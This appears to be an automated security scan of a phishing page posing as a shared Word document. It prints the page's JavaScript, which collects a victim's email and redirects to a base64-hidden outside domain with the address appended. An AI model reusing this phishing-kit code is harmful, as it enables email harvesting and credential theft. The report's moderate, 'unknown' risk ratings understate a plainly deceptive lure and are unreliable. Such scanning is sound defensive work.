Windows Analysis Report
https://sunnycloudtechnologies.com/suncn/msd.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://sunnycloudtechnologies.com

{
    "risk_score": 5,
    "reasoning": "The script has a moderate risk level due to the following factors:

1. It uses the `window.location.href` property to redirect the user to a dynamically constructed URL, which could potentially lead to a malicious redirect (2 points).
2. The URL is constructed by decoding a base64-encoded string and appending the user-provided email input, which could be a vector for code injection (2 points).
3. The script uses a basic email validation function, which is a common practice and does not indicate any inherent malicious intent (1 point).

Overall, the script demonstrates some potentially risky behavior, but it could also be part of a legitimate application flow. Further investigation may be needed to determine the true nature and purpose of the script."
}

        document.getElementById('continue-button').addEventListener('click', function() {
            continueLoading();
        });

        document.getElementById('thesupwillsup-input').addEventListener('keydown', function(event) {
            if (event.key === 'Enter') {
                continueLoading();
            }
        });

        function continueLoading() {
    var thesupwillsup = document.getElementById('thesupwillsup-input').value;
    if (validateEmail(thesupwillsup)) {
        var linkx = "aHR0cHM6Ly9udXZubXNzLm51dmludGFnZW1hcmtldC5jb20vP3VzZXJuYW1lPQ=="; //PUT YOUR LINK HERE
        var decodedLink = atob(linkx);
        var finalLink = decodedLink + "" + thesupwillsup;  // appender
        window.location.href = finalLink;
    } else {
        alert("Please enter a valid email address.");
    }
}


        function validateEmail(email) {
            var re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
            return re.test(email);
        }
    

{
  "contains_trigger_text": true,
  "trigger_text": "We need verify the intended recipient's email to continue reading in word document. Please enter the email address to which document was shared.",
  "prominent_button_name": "Open in Word Document",
  "text_input_field_labels": [
    "Enter email"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_security_alerts": false
}

{
  "brands": "unknown"
}

```json{  "legit_domain": "unknown",  "classification": "unknown",  "reasons": [    "The brand name is 'u', which is not recognizable or associated with any known brand.",    "The URL 'sunnycloudtechnologies.com' does not directly associate with any well-known brand.",    "The domain name appears generic and does not contain any suspicious elements like misspellings or unusual characters.",    "The presence of a generic input field 'Enter email' without further context does not provide enough information to determine phishing intent.",    "The domain name does not match any known legitimate domain for a specific brand."  ],  "riskscore": 5}

URL: sunnycloudtechnologies.com
			Brands: u
			Input Fields: Enter email